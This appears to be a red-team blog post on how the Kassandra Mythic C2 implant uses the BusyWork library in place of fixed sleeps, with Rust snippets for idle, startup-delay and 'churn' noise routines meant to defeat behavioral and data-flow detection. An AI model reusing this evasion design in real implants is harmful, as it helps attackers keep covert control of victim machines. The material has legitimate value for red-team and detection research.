BusyWork in Kassandra: Sleep Replacement Without Starving the C2 Loop

This post covers how Kassandra integrates BusyWork as its sleep replacement. The standalone BusyWork library is documented separately (BusyWork post). Here the focus is the agent-side wiring: three call sites with different intensity budgets, real implant data fed into each burst via .feed(), and the deliberate decision not to run BusyWork on every C2 POST.

Why a C2 Agent Cannot Just Call busywork() Everywhere

A Mythic agent has a hard constraint that a game cheat or one-shot tool does not: operators need tasking to complete. Upload and download use chunked transfers. A large BOF or loader may issue dozens of HTTP POSTs in a single task. If every POST paid a Medium or High BusyWork tax, Medium builds would sit in “submitted” for minutes while Mythic already had tasks queued.

Kassandra therefore splits BusyWork into three roles instead of sprinkling full-intensity work on every network call:

APIIntensityRole
startup_delay()Configured levelOne burst before first check-in
idle()Configured levelOne full-intensity burst between tasking rounds, then a short jittered yield
churn()Always Low, COMPUTE | MEMORY onlyLight noise at feature boundaries

The build parameter busywork_intensity defaults to medium and accepts off / low / medium / high / ultra. Lab builds that need fast tasking use off or low.

Build-Time Intensity Template

Intensity is not chosen at runtime by the operator mid-engagement. It is stamped into the binary at Mythic build time. config.rs holds a string placeholder that the Python builder replaces:

// From: kassandra/src/config.rs
pub static busywork_intensity: &str = "%BUSYWORK_INTENSITY%";

In builder.py, busywork_intensity is a ChooseOne build parameter with default "medium". The compile step substitutes the chosen value into the config template the same way it stamps callback host, URI, and other payload fields.

helpers.rs maps that string to an internal Level and then to BusyWork’s Intensity enum. Unknown values fall back to Medium. "off", "none", and "disabled" skip computational work entirely:

// From: kassandra/src/helpers.rs
fn level() -> Level {
    match config::busywork_intensity {
        "off" | "none" | "disabled" => Level::Off,
        "low" => Level::Low,
        "high" => Level::High,
        "ultra" => Level::Ultra,
        // "medium" and any unknown value default to Medium
        _ => Level::Medium,
    }
}

fn to_intensity(l: Level) -> Option<Intensity> {
    match l {
        Level::Off => None,
        Level::Low => Some(Intensity::Low),
        Level::Medium => Some(Intensity::Medium),
        Level::High => Some(Intensity::High),
        Level::Ultra => Some(Intensity::Ultra),
    }
}

The Main Loop: idle() Between Rounds Only

The agent lifecycle in main.rs is short. After self-protect and optional Tailscale or S3 registration, the agent checkins and then loops: get tasking, then idle.

// From: kassandra/src/main.rs
    selfprotect::set_process_security_descriptor();
    // ...
    helpers::startup_delay();

    // Tailscale / S3 init loops also call helpers::idle() on failure

    checkin::checkin();

    let mut round: u64 = 0;
    loop {
        round += 1;
        match tasking::getTasking() {
            Ok(()) => { /* ... */ }
            Err(e) => { /* ... */ }
        }
        helpers::idle();
    }

idle() is the main callback-interval surface. Earlier prototypes ran three full-intensity bursts back to back. That made Medium look stuck while Mythic already had work ready. The current design runs one burst at the configured intensity, then a short jittered thread::sleep so the loop is not a pure spin and so Medium/High stay usable:

// From: kassandra/src/helpers.rs
pub fn idle() {
    let l = level();
    let Some(i) = to_intensity(l) else {
        // off: jittered sleep only — avoids a fixed 200ms beacon cadence
        std::thread::sleep(Duration::from_millis(jitter_ms(80, 280)));
        return;
    };

    let uuid = config::UUID.read().unwrap();
    black_box(
        BusyWork::new(i)
            .feed(uuid.as_str())
            .feed(config::callback_host)
            .feed(config::user_agent)
            .run(),
    );

    // Small yield only — not a second full intensity tax.
    std::thread::sleep(Duration::from_millis(jitter_ms(20, 120)));
}

When intensity is off, the agent still avoids a fixed sleep constant. It yields a random 80-280 ms via getrandom, so the beacon cadence is not a single hardcoded interval.

The black_box around run() prevents the compiler from treating the BusyWork result as dead and optimizing the call away. That matters for a crate whose entire purpose is to produce real side effects that static optimizers would otherwise discard.

startup_delay: One Burst Before First Contact

startup_delay() runs once after self-protect and before Tailscale, S3, or check-in. It uses the same configured intensity and the same feed set as idle, but without the trailing yield. Ultra and High builds intentionally wait longer before the first network contact; off skips the work entirely:

// From: kassandra/src/helpers.rs
pub fn startup_delay() {
    let Some(i) = to_intensity(level()) else {
        return;
    };
    let uuid = config::UUID.read().unwrap();
    black_box(
        BusyWork::new(i)
            .feed(uuid.as_str())
            .feed(config::callback_host)
            .feed(config::user_agent)
            .run(),
    );
}

churn: Light Noise at Feature Boundaries

Full intensity belongs only in idle and startup_delay. Hot paths that run many times per task (filesystem ops, crypto, process list, loader stages) use churn instead:

// From: kassandra/src/helpers.rs
pub fn churn(data: &(impl FeedWork + ?Sized)) {
    if level() == Level::Off {
        return;
    }
    black_box(
        BusyWork::new(Intensity::Low)
            .allow(Categories::COMPUTE | Categories::MEMORY)
            .feed(data)
            .run(),
    );
}

Three constraints keep churn from re-introducing multi-second stalls:

  1. Always Low, regardless of the build intensity.
  2. COMPUTE and MEMORY only. No filesystem, registry, network, or WinAPI categories on the hot path.
  3. No-op when BusyWork is off. Lab builds with busywork=off pay nothing.

Call sites pass real work data into feed: command names from tasking, path strings, payload slices, output text, hostname and username during check-in. Without feed, BusyWork would generate isolated random buffers. With feed, the busy block processes the same variables as the surrounding feature code, which is harder for data-flow analysis to dismiss as pure noise [1].

Examples from the agent:

  • tasking.rs churns once per task with the command string, not once per HTTP chunk.
  • upload.rs churns once after the full chunked write completes, not per chunk.
  • executeBOF / executeDOT churn on downloaded payload bytes, packed args, and output.
  • reflective_loader.rs churns between mapping stages (image size, section count, reloc delta, entry RVA, header size).
  • crypto.rs churns around MAC tags and IVs during encrypt/decrypt.

The Hard Rule: No BusyWork on the C2 Hot Path

transport.rs documents the constraint explicitly. Chunked file and loader transfers issue many POSTs per task. Interval noise must live between rounds, not inside each request:

// From: kassandra/src/transport.rs
fn send_request_internal(payload: &str, encode: bool) -> Result<String, Box<dyn std::error::Error>> {
    // No BusyWork on the C2 hot path — chunked file/loader transfers issue many
    // POSTs per task. Interval noise lives in helpers::idle() between rounds.
    // ...

That single rule is what keeps Medium and High usable. Evasion work still happens: between rounds the implant burns real compute, memory, and (for full-intensity idle) broader categories depending on BusyWork’s defaults. During a multi-chunk download, the implant does not tax every POST.

Dependency Pin and Intensity Ladder

Kassandra depends on BusyWork from the bump/windows-0.61 branch so the Windows crate versions match the agent:

# From: kassandra/Cargo.toml
busywork = { git = "https://github.com/PatchRequest/BusyWork", branch = "bump/windows-0.61" }

BusyWork’s intensity ladder is an order-of-magnitude scale of task count, iteration count, buffer size, and call depth. Earlier ladder values collapsed Medium toward Low wall time; the library was fixed so Medium, High, and Ultra remain a real volume ladder rather than a flat set of caps. Kassandra’s agent code does not re-cap intensity. It trusts the library levels and only chooses where each level runs (idle / startup_delay vs always-Low churn).

Where idle() Also Appears Outside the Main Loop

idle() is not only the post-tasking yield. Check-in retries, S3 registration retries, and Tailscale init failure paths also call idle() so reconnect loops do not become a tight spin with a fixed sleep. That reuses the same interval surface operators already configured at build time.

churn during check-in feeds hostname and username so early lifecycle noise is tied to host identity strings rather than anonymous random buffers.

What This Does and Does Not Buy

Does:

  • Replaces a pure sleep-based callback interval with varied work that produces real API activity and memory pressure [1][2].
  • Keeps the tasking loop responsive under Medium/High by isolating heavy work to idle and restricting hot-path noise to Low compute/memory.
  • Feeds implant-specific strings into BusyWork so bursts are data-dependent on the live session.
  • Gives operators an explicit off switch for lab debugging without code changes.

Does not:

  • Hide the fact that the process still pauses between C2 rounds. The wall time of a Medium or High idle burst is real. Defenders looking for periodic activity will still see a cadence; the claim is that the content of the gap is not a clean sleep.
  • Remove all sleeps. idle and the off-path still use short jittered thread::sleep yields. The long fixed sleep that used to define the beacon interval is what BusyWork replaces.
  • Run on every network I/O. That is intentional. Putting full BusyWork on every POST would make the agent unusable under realistic chunk sizes.

Operator Defaults

ContextSuggested intensity
Production-style buildsmedium (builder default)
Lab / debugging taskingoff or low
Longer pre-check-in delayhigh or ultra

Production defaults in the public tree also set no_console=true and debug_log=false. Lab work that is validating C2 should prefer BusyWork off or low so task latency does not mask transport bugs.


Drafted with LLM assistance from the Kassandra and BusyWork source code, reviewed and verified against the actual implementation.

References

[1] PatchRequest, “BusyWork,” GitHub. https://github.com/PatchRequest/BusyWork

[2] PatchRequest, “BusyWork: Replacing Sleep with Real Work to Break Behavioral Detection,” patchi.fyi. https://patchi.fyi/blog/busywork-sleep-replacement/

[3] PatchRequest, “Kassandra,” GitHub. https://github.com/PatchRequest/Kassandra

[4] Mythic C2 Framework, “Payload Types,” GitHub. https://github.com/its-a-feature/Mythic